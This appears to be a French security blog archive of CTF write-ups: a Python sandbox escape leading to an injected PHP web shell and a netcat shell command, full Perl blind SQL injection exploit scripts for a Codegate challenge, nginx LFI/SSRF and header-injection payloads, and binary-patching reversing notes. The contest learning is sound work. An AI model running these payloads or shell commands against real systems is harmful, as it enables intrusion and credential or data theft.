# Lis l entree utilisateur jusqu au premier caractere vide (espace):
inp = findall('\S+', raw_input())[0]
a = None
# Attribue a la variable l output de l execution:
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e

(Rappelons qu'ici l'objectif sera de lire un fichier nommé "FileToRead" et placé dans le répertoire courant.)

Tout d'abord que voyons nous?
On remarque vite qu'une fonction est appelée afin de nous empêcher d'accéder à certains __builtins__() qui sont, pour rappel, des fonctions prédéfinies de Python.

Dommage, pas de eval(), pas de possibilité d'appeler __import__() ni open() enfin bref que du bonheur !
A présent j'ai deux approche en tête mais ne vais me consacrer qu'à une qui m'a particulièrement plûe et que je vais donc dérouler à présent.

ne pouvant me reposer sur mes __builtins__() préférés, je vais commencer par rapidement faire une évaluation des possibilités qui s'offrent tout de même à moi et après quelques tests (certains visible dans le screenshot suivant) me voila arrivé à ceci:

Bon, ici que voyons-nous concrètement?
Et bien pas mal de choses intéressantes comme surtout l'appel aux sous-classes qui est possible (pourquoi ne le serait-il pas??) et bien sûr le builtin dir() qui nous retourne une liste complète des attributs disponibles!

Dans ce cas cherchons donc si quelque chose existe et se trouve disponible pour arriver à sortir de cette sandbox et aller lire notre fichier comme nous le ferions avec le builtin file() (ne pas confondre avec __file__).

Oui mais alors comment faire? Simple! Allons ici lire la doc Python afin d'avoir quelques précisions et idées !

L'attribut "bases" peux nous aider, en effet, ce dernier retourne les classes de base d'un objet de classe (sous classe), testons et creusons:

WOOT!!

Bon la je sais pas vous mais moi en voyant ça j'me dis que la sortie est proche réfléchissons et surtout continuons avec, en premier lieu, des tests en local sur l'interpréteur Python d'autant que nous voyons dans cette magnifique liste un certain "type file" et ça mes amis ça vaut de l'or !

L'idée sera alors de tester cette classe en utilisant son index.
Afin donc de ne pas le compter à la mano, utilisons bêtement une petite boucle et le tour sera alors joué:

Ok... à présent nous avons: la classe et son index donc testons notre idée en local et si cette dernière fonctionne, sur notre sandbox afin d'aller jouer hors du bac à sable:

Et bien, qu'est-ce que je disais!?
La sortie semble toute proche et l'heure de vérité a sonné: libérons nous de nos chaînes !!

Pour aller plus loin

A partir d'ici nous ne sommes plus gêné et sortons de la sandbox alors il serait temps de, par exemple, s'octroyer un petit shell qu'en dites vous ?

(on peux aussi modifier des configurations réseau ou autre, cela dépendra de votre imagination, de vos compétences, de vos objectifs mais surtout des permissions)

J'illustrerais cela avec la compromission du système via son site web avec obtention d'un web shell puis d'un reverse shell via NC (si un IPTABLES était présent j'aurais tout aussi bien pût mettre en pratique mon firewall bypassing et maintenir un accès furtif persistant via l'option -9 ou --listen-signature sous HPING3).

Ici mon idée sera simple: injecter du code php dans la page d'index index.php avec un paramètre passé en GET puis transmis à system() pour obtenir mon web shell:

Bon il est évident que nous avons un léger soucis avec les espaces, qu'à cela ne tienne, utilisons autre chose:

Okay il semble que cette fois-ci notre code malicieux ait bien été injecté dans la page souhaitée testons et par la même voyons si notre reverse shell peux être mis en place!

Magnifique!!

A présent voyons si notre nc -nvv -l -p 31337 -e /bin/sh fonctionne:

Et voilà !! Mission accomplie avec succès: "from sandbox to reverse shell" , bien sûr tout cela peut encore être amélioré (FW bypass, priv-esc ..) mais ce n'est pas le sujet ici.

Vous avez donc bien plus ici qu'un simple write-up tel qu'on en trouve concernant ce type de challenge sur le net avec, je l'espère, une meilleure visibilité sur l'impact que peux avoir une évasion de sandbox mais aussi comment concrètement cela se passe!
Nos seules limites? Nos compétences et notre imagination...comme toujours...

Liens utiles et qui m'ont énormément appris:
http://zolmeister.com/2013/05/escaping-python-sandbox.html
https://isisblogs.poly.edu/2012/10/26/escaping-python-sandboxes/
http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html

A bientôt pour de nouvelles aventures et ... sortez couvert !! :D

[Write Up] 120 (Codegate web 500)

2014-02-24T19:56:00.000+01:00

Salut !
Alors oui, le week end dernier avait lieu les quals pour le codegate et comme chaque années nos amis Coréens nous ont réalisé un festival de challs avec un level plutôt appréciable loiiiiin du monde de l'entreprise ET C'EST TANT MIEUX!! :p

Ainsi je me lance dans le write up d'un challenge web super simpa et trés technique qui m'a beaucoup plus: 120, le web 500!

1-Présentation:
Le challenge vous donnait un link http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php sur lequel se trouvait juste un champ password et un joli texte indiquant "Time Left 120".

Vous aurez bien compris que le password n'étant pas fourni ... no comment.
A coté de ça, une fois n'est pas coutume nous avions accès au code source et honnêtement tant mieux ! lol

(je vous paste ça sur pastebin avec un lien ici au cas ou..)

session_start();
$link = @mysql_connect('localhost', '', '');
@mysql_select_db('', $link);
function RandomString()
{
$filename = "smash.txt";
$f = fopen($filename, "r");
$len = filesize($filename);
$contents = fread($f, $len);
$randstring = '';
while( strlen($randstring)<30 ){
$t = $contents[rand(0, $len-1)];
if(ctype_lower($t)){
$randstring .= $t;
}
}
return $randstring;
}
$max_times = 120;
if ($_SESSION['cnt'] > $max_times){
unset($_SESSION['cnt']);
}
if ( !isset($_SESSION['cnt'])){
$_SESSION['cnt']=0;
$_SESSION['password']=RandomString();
$query = "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
@mysql_query($query);
$query = "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
@mysql_query($query);
}
$left_count = $max_times-$_SESSION['cnt'];
$_SESSION['cnt']++;
if ( $_POST['password'] ){
if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
@mysql_close($link);
exit("Wrong access");
}
$query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
$q = @mysql_query($query);
$res = @mysql_fetch_array($q);
if($res['ip']==$_SERVER['REMOTE_ADDR']){
@mysql_close($link);
exit("True");
}
else{
@mysql_close($link);
exit("False");
}
}
@mysql_close($link);
?>
.... code html du formulaire ...

Pour la suite je reprendrait ce qui nous intéresse mais je vous recommande la lecture de ce code pour une meilleure compréhension.

On peux d'hors et déja se douter qu'on ne sait pas encore comment mais ce password "magique" il nous le faut !

2-Analyse de code:

Afin de gagner du temps (oui j'ai la flemme d'écrire aussi...) nous allons ici lister la vulnérabilité mais aussi et surtout les moyens mis en oeuvre pour tenter de sécuriser ce code.

a) Les sécurités mise en oeuvre:

la première qui saute aux yeux se trouve en ligne 44:

if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
@mysql_close($link);
exit("Wrong access");
}

La à première vue à voir les mots matched ET les / * on se dit que le bypass est pas forcément gagné ... on reviendra dessus par la suite ;-).

Viens ensuite une autre problématique qui est les 120 requêtes autorisées!

Oui, si on regarde attentivement la ligne 25 on vois que si on dépasse la limite des 120 alors notre SESSIONID sera réinitialisé et donc le password sera changé par appel à la fonction RandomString().

$max_times = 120;
if ($_SESSION['cnt'] > $max_times){
unset($_SESSION['cnt']);
}
if ( !isset($_SESSION['cnt'])){
$_SESSION['cnt']=0;
$_SESSION['password']=RandomString();

A cela viendra s'ajouter la vérification d'ip qui dans le cas d'une exploitation en bind aura un rôle primordial car seul une fois cette condition supplémentaire remplis la fonction renverra True, tout les reste passera systématiquement en False ce qui, j'ai pu le constater est pas forcément si évident notamment a cause des url_encode:

if($res['ip']==$_SERVER['REMOTE_ADDR']){
@mysql_close($link);
exit("True");
}
else{
@mysql_close($link);
exit("False");
}

b) Vulnérabilité:

elle se trouve ligne 49:

$query = "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";

mais pas que!
En effet, l'entrée utilisateur n'est pas du tout bien gérée, elle n'est pas "sanitized".
Bon c'est bien beau tout ça mais alors ou est l'autre vulnérabilité me direz vous ?

Tout simplement dans la fonction eregi utilisé pour matcher les patterns, souvenez vous :
eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])
à première vue RAS et pourtant.. la page du manuel php indique qu'elle n'est pas case sensitive ... ok mais juste en dessous on peux y lire un gros WARNING nous indiquant qu'elle est deprecated depuis php 5.3.0 et qu'il est recommandé de ne pas l'employer!
Une simple recherche et on tombe sur la liste dediffusion de PHP et au bun #44366 que voit-on ?
Qu'eregi se bypass avec un simple Null Byte poisoning! \o/

3-Exploitation:
Une fois ces informations récupérées on peux alors commencer à travailler notre SQLi et trés vite nous récupérions des résultats notamment grâce à un script fait à l'arrache par l'ami korigan (je ne donnerai pas le code ici ne lui en ayant pas parlé pi il serait pas fier je pense :P).

Ensuite chacun (on s'est retrouvé à 3 sur ce challenge) y aura été de son propre exploit : bash , python, perl ..
Forcément ce blog étant miens je ne posterais que mon code mais je précise que sa vue peux choquer: ce coup ci je n'ai pas fait le ménage et il sera tel qu'il était lors du ctf !
Bref, le disclaimer fait continuons!

les premiers essais démontrait clairement que bien trop de requests étaient faites et donc impossible d'espérer s'authentifier grâce à ce sploit:

#!/usr/bin/perl -Uw
use 5.0.10;
use Encode;
use IO::File;
use URL::Encode qw(url_decode_utf8 url_encode_utf8);
use Data::Dumper;
use HTTP::Cookies;
use LWP::UserAgent;
BEGIN:
#Filtrage en place:
# "replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*"
## si besoin d'un biscuit...
#
my $cookie_jar = HTTP::Cookies->new(
file => "cookies.txt",
);
my $UserAgent = LWP::UserAgent->new;
$UserAgent->cookie_jar( $cookie_jar );
## Get Password:
my $Arg=1;
my $Flag;
for (my $i=32;$i <=126;$i++){ // englobe min, specials char, MAJ, number
my $getpass = url_decode_utf8("'or if(ascii(substr(password,$Arg,1))=$i,1,0) or '0-- -");
#print("[*]Trying post data: $getpass\n");
my $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
my $response = $UserAgent->post( $Url, { 'password' => $getpass } );
my $content = $response->decoded_content();
if($content =~ /True/i){
my $found=chr($i);
$Flag.=$found;
print("[*]FLAG: $Flag\n");
$Arg+=1;
$i=32;
}
}
my $fh = IO::File->new("> WEB500_data");
if (defined $fh) {
print $fh $Flag;
$fh->close;
}
__END__

En effet, hors mis la saleté (j'avais prévenu) on comprend vite que le scope testé est trop grand et surtout qu'un peu de dichotomie ferait sûrement gagner en perf !

Concernant le scope j'ai eu l'idée de relire le code et .. OMG!
Je pouvait déja bien le réduire (en gardant les specials chars même si j'avais de gros doute sur le fait qu'ils soient présents dans le pass auquel cas on aurait pu relancer le script afin d'avoir un script full lower-case mais bon).
La fonction de génération du pass était explicite:

function RandomString()
{
$filename = "smash.txt";
$f = fopen($filename, "r");
$len = filesize($filename);
$contents = fread($f, $len);
$randstring = '';
while( strlen($randstring)<30 ){
$t = $contents[rand(0, $len-1)];
if(ctype_lower($t)){
$randstring .= $t;
}
}
return $randstring;
}

Il s'agirait donc de lettres randomisées formant une chaîne de 30 chars et tout en lower-case!
Vite, réadaptation du script avec un peu de dichotomie:
-Gain de temps,
-Gain de perf énorme
-Division du nombre de requests faites par 6 !

Voici le code "brut de décoffrage désolé, je n'ai pas pris le temps de faire de la cosmétique et je l'ai dev' dans l'urgence car lh'aure avançait... ( je mettrais un lien en fin d'article pour avoir toutes les ressources pour ceux que ça intéresse):

#!/usr/bin/perl
use 5.010;
use Encode;
use IO::File;
use Data::Dumper;
use HTTP::Cookies;
use LWP::UserAgent;
use URL::Encode qw(url_decode_utf8 url_encode_utf8);
BEGIN:
my $cookie_jar = HTTP::Cookies->new(
file => "cookies.txt",
);
my $UserAgent = LWP::UserAgent->new;
$UserAgent->cookie_jar( $cookie_jar );
my $Arg=1;
my $Flag;
for(my $i=1;$i<=30;$i++){
#Step1: > 65 (A)
my $getpass = url_decode_utf8("'or if(ascii(substr(password,$i,1))>65,1,0) or '0-- -");
my $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
my $response = $UserAgent->post( $Url, { 'password' => $getpass } );
my $content = $response->decoded_content();
if($content =~ /True/i){
#print("Char $i > 65\n");
# de 91 a 125
$getpass = url_decode_utf8("'or if(ascii(substr(password,$i,1))>105,1,0) or '0-- -");
$Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
$response = $UserAgent->post( $Url, { 'password' => $getpass } );
$content = $response->decoded_content();
if($content =~ /True/i){
#print("Char $i > 105\n");
GetValue(106, 125, $i);
next;
}
else{
#print("Char $i < 105\n");
GetValue(91, 105, $i);
next;
}
}
else{
#print("Char $i < 65\n");
# de 33 a 64
$getpass = url_decode_utf8("'or if(ascii(substr(password,$i,1))>47,1,0) or '0-- -");
$Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
$response = $UserAgent->post( $Url, { 'password' => $getpass } );
$content = $response->decoded_content();
if($content =~ /True/i){
#print("Char $i > 47\n");
GetValue(48, 64, $i);
next;
}
else{
#print("Char $i < 47\n");
GetValue(33, 47, $i);
next;
}
}
}
#Exemple d'appel de fonction:
#GetValue(97, 120, 1);
my $fh = IO::File->new("> WEB500_data");
if (defined $fh) {
print $fh $Flag;
$fh->close;
}
$Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
$response = $UserAgent->post( $Url, { 'password' => $Flag } );
$content = $response->decoded_content();
print "\n [Sending $Flag as password] ...\n====== Result :\n $content\n";
sub GetValue{
my ($start, $end, $position)=@_;
for ($start;$start <=$end;$start++){
my $getpass = url_decode_utf8("'or if(ascii(substr(password,$position,1))=$start,1,0) or '0-- -");
my $Url=("http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php");
# DEBBUG:
# print("[*]Trying post data: $getpass\n");
my $response = $UserAgent->post( $Url, { 'password' => $getpass } );
my $content = $response->decoded_content();
if($content =~ /True/i){
my $found=chr($start);
$Flag.=$found;
print("[*]FLAG: $Flag\n");
return;
}
}
return($Flag);
}
__END__

Le script lançait on récupérait rapidement les flags et la request d'authentification était envoyée:

Il était H-10 avant la fin du CTF au moment ou je lançait cet exploit et hélas encore mal optimisé notamment dans les requêtes SQL, il n'aura pas pu permettre de validé, une fois de plus ...

Cependant c'est une excellente base de travail il me semble , ce CTF de part ces épreuves et pas que celle-ci m'aura encore une fois tiré vers le haut alros j'espère que le write-up vous aura plu et pour finir en beauté vous trouverez en fin d'article des liens y compris vers le write up de ce challenge.

En réalité il était bien plus complexe qu'il n'y parait mais en toute honnêteté avec un peu de temps en plus, on le tombais et j'en suis convaincu !

Merci à vous amis lecteur ainsi qu'aux membre de l'équipe sec0d !!

Write-up de 120 par 0xBADCA7
Exploit perl par kmkz
code php + html du challenge
Bug #44366 de PHP concernant le null byte poisoning / eregi bypassing

[Write Up] Xnginx: Curling 200 (Olympic-CTF)

2014-02-09T18:26:00.006+01:00

Le voici, le voila: le fameux Curling200 !!

Ce challenge (non résolu à temps et pourtant..) avait pour intitulé:

flag is there

Flag format: CTF{..32 hexes..}

Alors.. celui-ci nous aura vraiment fait trés trés mal..

Au début tout allait bien puisqu'aprés quelques recherche la première intuition (lfi) dû à un paramètre qui semblait "suspect" à savoir http://109.233.61.11:27280/news/?retpath=/news/ nous semblait être une piste sérieuse notamment quand un scan sous W3AF nous donna ceci:

La on s'est dis: super \o/ , d'autant que /proc/self/environ étant aussi accessible.. oui mais voila, cette piste la nous aura fait d'hors et déja perdre énormément de temps avant que l'on comprenne qu'il s'agissait plus d'un file disclosure qu'autre chose!

Comment l'a-t-on découvert?

Comme ceci:

une fois ré-indenté cela donne quelque chose comme:

#listen 80; ## listen for ipv4; this line is default and implied

#listen [::]:80 default ipv6only=on; ## listen for ipv6

root /usr/share/nginx/www;

index index.html index.htm;

# Make site accessible from http://localhost/

server_name localhost;

location / {

limit_req zone=one burst=5 nodelay;

proxy_pass http://127.0.0.1:5001;

}

location = /secret/flag {

root /home;

internal;

}

C'est à ce moment la qu'on compris qu'il fallait exploiter cela différemment : reverse proxy inside!!

En effet, configuré de la sorte nous n'aurions jamais les droits pour lire le fichier!!

Quelques recherches plus tard on est donc parti sur des centaines de tests différent concernant un internal redirect (127.0.0.1:5001), en voici quelques exemple afin de vous donner des idées le cas échéant:
...

http://109.233.61.11:27280/?retpath=http://127.0.0.1:5001/?f=/home/secret/flag
http://109.233.61.11:27280/?retpath=http://109.233.61.11:27280/news/?f=../../../../../../../home/secret/flag
http://109.233.61.11:27280/?retpath=http://127.0.0.1:5001/?f=php://filter/convert.base64-encode/resource=../../../../../../../../../../secret/flag
http://109.233.61.11:27280/?retpath=http://127.0.0.1:5001/?f=/home/secret/flag
http://109.233.61.11:27280/?retpath=http://127.0.0.1:5001/secret/flag
...
Au final la solution et nous l'avion tenté via les headers sans succès etait :
http://109.233.61.11:27280/?retpath=/secret/flag%0AX-Accel-Redirect:%20/secret/flag

Nous l'avions quasiment trouvé mais encore fallait-il penser à utiliser X-Accel-Redirect directement dans l'url !!

Voici un des quelques liens sur Nginx et son module internal que nous avions utilisé:
nginx.org

La suite se trouvant sur google à vous de rechercher si l'occasion se présente mais surtout surtout laisser aller l'imagination car perso jamais je n'aurait pensé à mettre ceci dans l'url tel quel !

Enjoy!

[Write Up] Out there: Curling 10 (Olympic-CTF)

2014-02-09T17:42:00.000+01:00

Salut à tous, ce week end avait lieu l'Olympic CTF auquel nous avons participé avec nombre de personne de la team Sec0d.

Malgrès nos efforts nous ne nous sommes que peu classé alors que certains challenge (Curl200 entre autre) étaient quasiment bouclé ce qui est trés frustrant mais finalement on aura passé un bon week end su ce CTF de qualité !

J'ai hésité à publier ce petit write up puis me suis dis que la partie importante de ce dernier (car sans ça il perd tout son intérêt) était la petite partie IPV6.

En effet, l'intitulé était:

Flag is out there:

http://[2a02:6b8:0:141f:fea9:d5ff:fed5:XX01]/

Flag format: CTF{..32 hexes..}

le message est clair: il nous faut trouver le bon link en bruteforçant l'octet incriminé.

Oui mais voila, nous devront travaillé en IPV6 et étant sur un CTF on aimerait faire vite pour scorer et passer à autre chose!!

J'ai donc opté pour la facilité (comme toujours) : l'encapsulation IPV6 en UDP IPV4 et ... certains tools sous Kali sont la pour nous faire ça en 2 temps, trois mouvement et c'est bon à savoir ! ;-)

Le lien vers le tutorial complet est dispo en fin d'article mais voici comment procéder:

dans le shell saisissez le commande miredo puis faites un ifconfig teredo (teredo étant l'interface créée par miredo) et voila, votre encapsulation IPV6 est en place, le reste est facile et est illustré ci-dessous avec en prime le script disponible en fin d'aticle.

Bien sûr ce script n'est pas des plus propre dans le sens ou, dans un soucis de gain de temps j'ai utiliser un appel à wget ce qui m'a permis de le laisser tourner en tâche de fond afin de commencer à exploiter le curl200 et ses "files disclosure" et "internal redirect".

Un challenge sur lequel nous avons passé énormément de temps et pour lequel j'ai hâte de voir les writes-ups.

Enfin, continuons notre bruteforce IPV6 pour le moment:

Et voila, reste qu'a lire ce fichier pour trouver en bas de page :

Script disponible ici pour les curieux! ;-)

Ressources "miredo" de chez la communautée Kali: ici

UDP reverse shell et firewall bypassing via hping3

2014-01-19T16:28:00.002+01:00

Salut à tous!

Déja commençons comme il se doit avec un bonne année etc...

Bref, pourquoi encore un paper sur hping3 alors que cela, j'en conviens n'a rien d'extraordinaire et sent le réchauffé.

Tout simplement parceque depuis quelques mois maintenant j'ai pas mal de demande concernant les utilisations possible de hping3.

En effet, je sais que de la doc existe oui mais .. et alors?
J'aurais pu faire un article sur le RoP ou les protections GCC/kernel actuelles mais honnêtement ça, ça ne vous semble pas encore plus vu re-vu et réchauffé ? ;-)

D'autant que ça ne serait pas à la hauteur de l'existant enfin bref, passons à hping3 et mon titre accrocheur.

En 2008 j'avais déja publié un article sur hping (V.2 à l'époque) sur lequel au final on apprennait qu'il permettait déja certaines choses simpas.

C'est cool mais ayant évolué et ayant eu pas mal de demande à ce sujet, j'ai un petit peu travaillé dessus et je dois avouer qu'il offre bien de possibilités et certaines trés avancés !

Cet article aura donc pour objectif de vous donner les ficelles nécéssaires à une réflexion autour de l'outils et, bien entendu, de vous faire une petite démonstration de ce dernier au travers d'un scénario testé en LAN qui peux avec un peu de réflexion être appliqué à bien d'autres cas... à vous de faire preuve d'imagination!

Il ne s'agit donc pas d'une documentation complète sur les possibilité de l'outils néanmoins je pense qu'aprés lecture certains aurons des idées de ce qui est réalisable et peut être que cela vous servira... qui sait ?

Lien vers le PDF de l'article

N'hésitez pas à donner vos avis ou vos interrogations.
Merci à tous !

kmkz

[Write-up] PHDays CTF (Quals) Bin100

2012-12-16T20:27:00.001+01:00

Me revoilà!!

Après tant d'absence non, je ne suis pas mort !
Plutôt pas mal occupé sur Toulouse ou je bosse désormais mais jamais bien loin du monde de la sécu ;-) !

Ainsi, je me suis pas mal remis aux CTF depuis peu avec mes confères d'ou ce petit post de "reprise d'activité" du blog .

Bon, je me suis pas foulé sur ce coup, je le reconnais mais je commence à avoir des idées d'articles qui germent dans ma 'tite tête alors en attendant voici un petit writeup des plus simple mais bon...
Comme souvent ici il est question de R.E.

Le CTF était de type "Jeopardy" : il fallait DL les challenges sur l'adresse quals.phdays.com puis POUTRER !

Je me suis donc dis que les catégories Bin et Pwn étaient pour moi .
Cela dis, j'ai jeter un oeil ailleurs aussi, forcément.. C'était plutôt pas mal avec de l'audit de source PHP et requêtes SQL (voir en fin d'article) en passant par un puzzle à résoudre ou encore du R.E avancé sous Bochs, bref, du pur bonheur !!

Bon, passons au sujet traité ici: le bin100:
On DL une archive .zip, un petit unzip dessus et on se retrouve avec un binaire "discret" appelé simplement .exe que j'ai rapidement renommé bin1.exe.

En premier lieu je lance la bête afin de le voir à l'oeuvre et de prendre en compte les éventuels outputs renvoyés:

A partir de la j'ai tout naturellement sortie Ida et me suis dis "oups ": à la seule vue du code ASM on pige direct qu'il y a un packer la dessous alors.. PeID !
Ouf, fausse alerte enfin, si , packé mais un simple UPX donc upx -d bin1.exe, on check et ok, unpacked.
A partir de la c'est du classique on lance notre désassembleur préféré HT \o/ :

Ok de la on a notre EP (Entry Point) donc ne fait plus que suivre à partir de l'adresse ou le binaire "jumpe" puis on regarde attentivement le code ASM en réalisant un dump ou encore avec un arbre des appels de fonctions, ce que fait très bien IdaPro:

Bon donc la c'est carrément easy, si vous etes des assidus de mon blog vous devriez savoir ce qu'il reste à faire..non?

Simple pourtant ! On vois clairement les conditions à bypasser afin de tomber sur le "Get_your_flag" (explicite n'est-ce pas) ce que nous allons d'ailleurs faire immédiatement car le but est de valider un flag hein ;-) .
On va donc faire comme tout bon newbie et venir transformer nos JZ en JNZ, chmoder le binaire (+x) et voir si notre intuition est la bonne auquel cas on aura poutrer ce premier challenge en 2 minutes chrono !!

Les modifications apportées ( je ne reviendrai pas sur le comment car tout est expliquer ailleurs sur mon blog), voici ce que l'on obtiens sous HTeditor:

Ou sous Ida avec un beau graphe de fonctions:

So, à présent exécutons notre binaire modifier pour vérifier tout cela..

Oh ben ça alors, un flag, plus qu'a utiliser quelque xor (vu dans les fonctions précédentes) afin d'en générer un md5 pour la validation, phase que je ne détaillerai hélas pas ici par manque de temps et je m'en excuse car c'est bien la le nerf de la guerre :S ...

Ceci dit je me réserve plutot pour les writeups du CTF de la semaine à venir: 29C3 !!

Voila pour ce petit writeup de rappel, incomplet, je le regrette mais il faut l'avouer, il était simple: un UPX -d et 2 \x75 c'est quand même pas violent aprés un petit calcul à faire et hop!
Mais au moins ça m'aura permis de rédiger ce petit article qui, je le reconnais me donne envie de revenir rapidement en réécrire d'autre beaucoup plus technique alors .. A très vite !!

kmkz

Liste des writeups diponibles

RealWorld100 (php/sql)
RealWorld500
Pwn300
Misc100
Misc400(code)
Misc200(Deutch)

[Write-Up] Security By Default CTF : Bin01 (reversing)

2011-01-17T22:37:00.013+01:00

Ce week end avaient lieu le CTF "Security By Default" auquel nous avons participé.

Simultanément avait aussi lieu le Padocon qui lui aussi semblait vraiment simpa bien que d'un niveau bien hard ;-) .

Bref , concentrons-nous sur le sujet de ce billet , a savoir : le Bin01 du CTF "Security By Default".

La premiere chose que l'on remarque dessuite via l'utilitaire "file" : ce binaire est du type elf32 , non stippé .

Ainsi j'ai pu facilement commencer dans un premier temp une rapide analyse a l'aide d'Hexrays afin de réaliser un arbre des appels de fonctions ainsi que des dumps ASM puis C pour bien cerner la bête et voir comment agir.

(Les parties du code ne nous intérréssant pas on bien sur été supprimées)

...

mov edx, offset format ; "\n--- Welcome to '%s' systems.\n"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

lea eax, [esp+6Bh]

mov [esp], eax

call tor

mov edx, offset aS ; "%s"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, ds:stdin@@GLIBC_2_0

mov [esp], eax ; stream

call _fflush

lea eax, [esp+1894h]

mov [esp], eax ; s

call _gets

lea eax, [esp+58h]

mov [esp], eax

call tor

mov edx, offset aS ; "%s"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, ds:stdin@@GLIBC_2_0

mov [esp], eax ; stream

call _fflush

lea eax, [esp+10C4h]

mov [esp], eax ; s

call _gets

lea eax, [esp+4Bh]

mov [esp], eax

call tor

mov edx, offset aS ; "%s"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, ds:stdin@@GLIBC_2_0

mov [esp], eax ; stream

call _fflush

mov eax, [esp+2068h]

mov [esp], eax ; s

call _gets

lea eax, [esp+39h]

mov [esp], eax

call tor

mov edx, offset aS ; "%s"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, ds:stdin@@GLIBC_2_0

mov [esp], eax ; stream

call _fflush

lea eax, [esp+8F4h]

mov [esp], eax ; s

call _gets

lea eax, [esp+1Bh]

mov [esp], eax ; s

call untrash

lea eax, [esp+1Bh]

mov [esp], eax

call tor

mov edx, offset aS ; "%s"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, ds:stdin@@GLIBC_2_0

mov [esp], eax ; stream

call _fflush

lea eax, [esp+124h]

mov [esp], eax ; s

call _gets

mov dword ptr [esp+2064h],

jmp short loc_8048A47

; ---------------------------------------------------------------------------

loc_8048A0D:

mov eax, [esp+206Ch]

mov eax, [eax]

cmp eax, [esp+2064h]

jnz short loc_8048A3F

lea eax, [esp+9Bh]

mov [esp], eax

call tor

mov edx, offset aAlertS ; "ALERT: %s\n"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

loc_8048A3F:

add dword ptr [esp+2064h], 1

loc_8048A47:

cmp dword ptr [esp+2064h], 9

jle short loc_8048A0D

mov eax, [esp+206Ch]

mov eax, [eax]

test eax, eax

jz short loc_8048AA9

lea eax, [esp+0B0h]

mov [esp], eax ; s

call untrash

lea eax, [esp+0B0h]

mov [esp], eax

call tor

mov ebx, eax

lea eax, [esp+0F9h]

mov [esp], eax

call tor

mov edx, offset aSS ; "%s %s\n"

mov [esp+8], ebx

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, 0

jmp short loc_8048AF0

; ---------------------------------------------------------------------------

loc_8048AA9:

mov dword ptr [esp+4], offset s2 ; "admin_r00t"

lea eax, [esp+124h]

mov [esp], eax ; s1

call _strcmp

test eax, eax

jnz short loc_8048AEB

lea eax, [esp+112h]

mov [esp], eax

call tor

mov edx, offset aS_0 ; "%s :)\n"

mov [esp+4], eax

mov [esp], edx ; format

call _printf

mov eax, 45h

jmp short loc_8048AF0

; ---------------------------------------------------------------------------

loc_8048AEB:

mov eax, 45h

loc_8048AF0:

add esp, 2074h

pop ebx

pop esi

pop edi

mov esp, ebp

pop ebp

retn

main endp

; ---------------------------------------------------------------------------
...

Dans cet extrait du code assembleur , ces fonctions semblent etre celles qui nous intéressent , a partir de la on réalise un désassemblage qui donne :

J'ai ensuite étudié l'algo un peu plus en profondeur via un dump C d'Hexrays qui s'avéra trés instructif quand au fonctionnement ducrackme.

...

printf("\n--- Welcome to '%s' systems.\n", v0);

v1 = tor(&v34);

printf("%s", v1);

fflush(stdin);

gets(&v70);

v2 = tor(&v28);

printf("%s", v2);

fflush(stdin);

gets(&v69);

v3 = tor(&v24);

printf("%s", v3);

fflush(stdin);

gets((char *)v72);

v4 = tor(&v19);

printf("%s", v4);

fflush(stdin);

gets(&v68);

untrash((const char *)&v11);

v5 = tor(&v11);

printf("%s", v5);

fflush(stdin);

gets(&v67);

for ( i = -5; i <= 9; ++i )

{

if ( *(_DWORD *)v73 == i )

{

v6 = tor(&v47);

printf("ALERT: %s\n", v6);

}

if ( *(_DWORD *)v73 )

{

untrash(&v53);

v8 = tor((int *)&v53);

v9 = tor(&v55);

printf("%s %s\n", v9, v8);

result = 0;

}

else

{

if ( strcmp(&v67, "admin_r00t") )

{

result = 69;

}

else

{

v10 = tor(&v62);

printf("%s :)\n", v10);

result = 69;

}

return result;

...

Voila , nous somme au coeur du problème a présent, j'me suis donc dit que j'allais travailler ça de façon a patcher le binaire pour luifaire cracher son flag et ne plus avoir d'outputs frustrants comme les :

ALERT: You are not welcome.

ou encore

It's not so easy Dude ! (aprés patching de plusieurs sauts conditionels/call par exemple).

Le but recherché étant d'obtenir le flag de validation , j'ai fait ça de façon rapide mais absolument pas esthétique , puristes s'abstenir !

Pour y parvenir il ne me resta plus qu'a rechercher certaines fonctions (dont celle qui construisent et donne le précieux sésame) puis a patcher afin de jumper au bon endroit.

Voici quelques une des modifs ainsi effectuées :

Parti de cette instruction jmp loc_8048a47 , on jump en 0x8048a47 et on apporte les modifs adéquates.

La capture suivante propose 2 vues a savoir a gauche le binaire dans sa version originale , a droite sa version patchée .

La chaine contenue dans strz__s__s__8048bed se trouvait donc etre "admin_r00t %s %s\n\0" :-^ .

Voila , restait alors qu'a chopper le flag et a valider :

sh-3.2$ ./copie\ de\ n00b-login

--- Welcome to 'Epicness Security' systems.

Insert name: kmkz

Insert last name: sec0d

Insert sex: Faible(:P)

Inserd birthday: 1337

Insert passwd: pawned!

